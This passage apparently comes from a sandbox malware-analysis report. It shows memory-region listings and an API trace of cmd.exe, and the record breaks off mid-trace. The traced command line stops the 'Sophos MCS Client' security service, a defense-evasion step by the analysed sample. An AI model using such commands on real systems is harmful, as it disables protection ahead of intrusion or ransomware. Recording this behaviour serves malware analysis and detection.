= 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3609 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3610 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3611 start_va = 0x3c0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3612 start_va = 0x550000 end_va = 0x64ffff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 3613 start_va = 0x75270000 end_va = 0x75276fff entry_point = 0x75270000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 3614 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3615 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3616 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3617 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3618 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3619 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3620 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3621 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3622 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3623 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3624 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3625 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3626 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3627 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3628 start_va = 0x650000 end_va = 0x7d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 3629 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3630 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3631 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3632 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3633 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3634 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3635 start_va = 0x7e0000 end_va = 0x960fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 3636 start_va = 0x970000 end_va = 0x1d6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 3637 start_va = 0x1d70000 end_va = 0x20b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d70000" filename = "" Region: id = 3638 start_va = 0x20c0000 end_va = 0x238efff entry_point = 0x20c0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 146 os_tid = 0x954 [0061.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2cf924 | out: lpSystemTimeAsFileTime=0x2cf924*(dwLowDateTime=0xdf920d80, dwHighDateTime=0x1d4abdd)) [0061.685] GetCurrentProcessId () returned 0x950 [0061.685] GetCurrentThreadId () returned 0x954 [0061.685] GetTickCount () returned 0x1cd7b [0061.685] QueryPerformanceCounter (in: lpPerformanceCount=0x2cf91c | out: lpPerformanceCount=0x2cf91c*=1813691500000) returned 1 [0061.686] GetModuleHandleA (lpModuleName=0x0) returned 0x4a560000 [0061.686] __set_app_type (_Type=0x1) [0061.686] __p__fmode () returned 0x75ed31f4 [0061.686] __p__commode () returned 0x75ed31fc [0061.686] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a5821a6) returned 0x0 [0061.686] __getmainargs (in: _Argc=0x4a584238, _Argv=0x4a584240, _Env=0x4a58423c, _DoWildCard=0, _StartInfo=0x4a584140 | out: _Argc=0x4a584238, _Argv=0x4a584240, _Env=0x4a58423c) returned 0 [0061.686] GetCurrentThreadId () returned 0x954 [0061.687] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x954) returned 0x60 [0061.687] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0061.687] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0061.687] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.687] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0061.687] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2cf8b4 | out: phkResult=0x2cf8b4*=0x0) returned 0x2 [0061.687] VirtualQuery (in: lpAddress=0x2cf8eb, lpBuffer=0x2cf884, dwLength=0x1c | out: lpBuffer=0x2cf884*(BaseAddress=0x2cf000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0061.687] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x2cf884, dwLength=0x1c | out: lpBuffer=0x2cf884*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0061.687] VirtualQuery (in: lpAddress=0x1d1000, lpBuffer=0x2cf884, dwLength=0x1c | out: lpBuffer=0x2cf884*(BaseAddress=0x1d1000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0061.687] VirtualQuery (in: lpAddress=0x1d3000, lpBuffer=0x2cf884, dwLength=0x1c | out: lpBuffer=0x2cf884*(BaseAddress=0x1d3000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0061.687] VirtualQuery (in: lpAddress=0x2d0000, lpBuffer=0x2cf884, dwLength=0x1c | out: lpBuffer=0x2cf884*(BaseAddress=0x2d0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0061.687] GetConsoleOutputCP () returned 0x1b5 [0061.688] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a584260 | out: lpCPInfo=0x4a584260) returned 1 [0061.688] SetConsoleCtrlHandler (HandlerRoutine=0x4a57e72a, Add=1) returned 1 [0061.688] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.688] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0061.688] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.688] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a5841ac | out: lpMode=0x4a5841ac) returned 1 [0061.688] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.688] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0061.688] _get_osfhandle (_FileHandle=0) returned 0x3 [0061.688] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a5841b0 | out: lpMode=0x4a5841b0) returned 1 [0061.689] _get_osfhandle (_FileHandle=0) returned 0x3 [0061.689] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0061.689] GetEnvironmentStringsW () returned 0x562b28* [0061.689] FreeEnvironmentStringsW (penv=0x562b28) returned 1 [0061.689] GetEnvironmentStringsW () returned 0x562b28* [0061.689] FreeEnvironmentStringsW (penv=0x562b28) returned 1 [0061.689] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ce824 | out: phkResult=0x2ce824*=0x6c) returned 0x0 [0061.689] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ce82c, lpData=0x2ce830, lpcbData=0x2ce828*=0x1000 | out: lpType=0x2ce82c*=0x0, lpData=0x2ce830*=0x32, lpcbData=0x2ce828*=0x1000) returned 0x2 [0061.689] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ce82c, lpData=0x2ce830, lpcbData=0x2ce828*=0x1000 | out: lpType=0x2ce82c*=0x4, lpData=0x2ce830*=0x1, lpcbData=0x2ce828*=0x4) returned 0x0 [0061.689] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ce82c, lpData=0x2ce830, lpcbData=0x2ce828*=0x1000 | out: lpType=0x2ce82c*=0x0, lpData=0x2ce830*=0x1, lpcbData=0x2ce828*=0x1000) returned 0x2 [0061.689] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ce82c, lpData=0x2ce830, lpcbData=0x2ce828*=0x1000 | out: lpType=0x2ce82c*=0x4, lpData=0x2ce830*=0x0, lpcbData=0x2ce828*=0x4) returned 0x0 [0061.689] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ce82c, lpData=0x2ce830, lpcbData=0x2ce828*=0x1000 | out: lpType=0x2ce82c*=0x4, lpData=0x2ce830*=0x40, lpcbData=0x2ce828*=0x4) returned 0x0 [0061.689] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ce82c, lpData=0x2ce830, lpcbData=0x2ce828*=0x1000 | out: lpType=0x2ce82c*=0x4, lpData=0x2ce830*=0x40, lpcbData=0x2ce828*=0x4) returned 0x0 [0061.689] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ce82c, lpData=0x2ce830, lpcbData=0x2ce828*=0x1000 | out: lpType=0x2ce82c*=0x0, lpData=0x2ce830*=0x40, lpcbData=0x2ce828*=0x1000) returned 0x2 [0061.690] RegCloseKey (hKey=0x6c) returned 0x0 [0061.690] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ce824 | out: phkResult=0x2ce824*=0x6c) returned 0x0 [0061.690] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ce82c, lpData=0x2ce830, lpcbData=0x2ce828*=0x1000 | out: lpType=0x2ce82c*=0x0, lpData=0x2ce830*=0x40, lpcbData=0x2ce828*=0x1000) returned 0x2 [0061.690] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ce82c, lpData=0x2ce830, lpcbData=0x2ce828*=0x1000 | out: lpType=0x2ce82c*=0x4, lpData=0x2ce830*=0x1, lpcbData=0x2ce828*=0x4) returned 0x0 [0061.690] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ce82c, lpData=0x2ce830, lpcbData=0x2ce828*=0x1000 | out: lpType=0x2ce82c*=0x0, lpData=0x2ce830*=0x1, lpcbData=0x2ce828*=0x1000) returned 0x2 [0061.690] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ce82c, lpData=0x2ce830, lpcbData=0x2ce828*=0x1000 | out: lpType=0x2ce82c*=0x4, lpData=0x2ce830*=0x0, lpcbData=0x2ce828*=0x4) returned 0x0 [0061.690] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ce82c, lpData=0x2ce830, lpcbData=0x2ce828*=0x1000 | out: lpType=0x2ce82c*=0x4, lpData=0x2ce830*=0x9, lpcbData=0x2ce828*=0x4) returned 0x0 [0061.690] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ce82c, lpData=0x2ce830, lpcbData=0x2ce828*=0x1000 | out: lpType=0x2ce82c*=0x4, lpData=0x2ce830*=0x9, lpcbData=0x2ce828*=0x4) returned 0x0 [0061.690] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ce82c, lpData=0x2ce830, lpcbData=0x2ce828*=0x1000 | out: lpType=0x2ce82c*=0x0, lpData=0x2ce830*=0x9, lpcbData=0x2ce828*=0x1000) returned 0x2 [0061.690] RegCloseKey (hKey=0x6c) returned 0x0 [0061.690] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f5c [0061.690] srand (_Seed=0x5c3c3f5c) [0061.690] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos MCS Client\" /y" [0061.690] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos MCS Client\" /y" [0061.690] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a585260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0061.690] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x564bb8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0061.691] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a590640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0061.691] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a590640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0061.691] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a590640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0061.691] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0061.691] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0061.691] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0061.691] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0061.691] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0061.691] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0061.691] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0061.691] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0061.691] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0061.691] GetEnvironmentStringsW () returned 0x562b28* [0061.691] FreeEnvironmentStringsW (penv=0x562b28) returned 1 [0061.691] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a590640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0061.691] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a590640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0061.691] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0061.691] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0061.691] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0061.691] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0061.691] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0061.691] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0061.691] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0061.691] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0061.691] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2cf5f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0061.692] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2cf5f0, lpFilePart=0x2cf5ec | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cf5ec*="Desktop") returned 0x25 [0061.692] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0061.692] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2cf36c | out: lpFindFileData=0x2cf36c) returned 0x561dc0 [0061.692] FindClose (in: hFindFile=0x561dc0 | out: hFindFile=0x561dc0) returned 1 [0061.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2cf36c | out: lpFindFileData=0x2cf36c) returned 0x561dc0 [0061.692] FindClose (in: hFindFile=0x561dc0 | out: hFindFile=0x561dc0) returned 1 [0061.692] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0061.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2cf36c | out: lpFindFileData=0x2cf36c) returned 0x561dc0 [0061.692] FindClose (in: hFindFile=0x561dc0 | out: hFindFile=0x561dc0) returned 1 [0061.692] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0061.692] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0061.692] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0061.692] GetEnvironmentStringsW () returned 0x562b28* [0061.692] FreeEnvironmentStringsW (penv=0x562b28) returned 1 [0061.692] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a585260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0061.693] GetConsoleOutputCP () returned 0x1b5 [0061.693] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a584260 | out: lpCPInfo=0x4a584260) returned 1 [0061.693] GetUserDefaultLCID () returned 0x409 [0061.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a584950, cchData=8 | out: lpLCData=":") returned 2 [0061.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2cf730, cchData=128 | out: lpLCData="0") returned 2 [0061.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2cf730, cchData=128 | out: lpLCData="0") returned 2 [0061.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2cf730, cchData=128 | out: lpLCData="1") returned 2 [0061.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a584940, cchData=8 | out: lpLCData="/") returned 2 [0061.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a584d80, cchData=32 | out: lpLCData="Mon") returned 4 [0061.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a584d40, cchData=32 | out: lpLCData="Tue") returned 4 [0061.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a584d00, cchData=32 | out: lpLCData="Wed") returned 4 [0061.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a584cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0061.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a584c80, cchData=32 | out: lpLCData="Fri") returned 4 [0061.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a584c40, cchData=32 | out: lpLCData="Sat") returned 4 [0061.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a584c00, cchData=32 | out: lpLCData="Sun") returned 4 [0061.694] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a584930, cchData=8 | out: lpLCData=".") returned 2 [0061.694] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a584920, cchData=8 | out: lpLCData=",") returned 2 [0061.694] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0061.695] GetConsoleTitleW (in: lpConsoleTitle=0x565908, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0061.695] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0061.695] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0061.695] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0061.695] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0061.696] _wcsicmp (_String1="sc", _String2=")") returned 74 [0061.696] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0061.696] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0061.696] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0061.696] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0061.696] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0061.696] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0061.697] GetConsoleTitleW (in: lpConsoleTitle=0x2cf428, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0061.697] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0061.697] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0061.697] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0061.697] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0061.697] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0061.697] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0061.697] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0061.698] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0061.698] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0061.698] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0061.698] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0061.698] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0061.698] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0061.698] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0061.698] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0061.698] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0061.698] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0061.698] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0061.698] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0061.698] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0061.698] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0061.698] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0061.698] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0061.698] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0061.698] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0061.698] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0061.698] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0061.698] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0061.698] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0061.698] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0061.698] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0061.698] _wcsicmp (_String1="sc", _String2="START") returned -17 [0061.698] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0061.698] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0061.698] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0061.698] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0061.698] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0061.698] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0061.698] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0061.698] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0061.698] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0061.698] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0061.698] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0061.698] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0061.698] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0061.698] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0061.698] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0061.698] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0061.698] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0061.698] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0061.698] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0061.699] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0061.699] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0061.699] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0061.699] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0061.699] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0061.699] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0061.699] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0061.699] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0061.699] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0061.699] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0061.699] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0061.699] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0061.699] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0061.699] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0061.699] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0061.699] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0061.699] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0061.699] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0061.699] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0061.699] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0061.699] 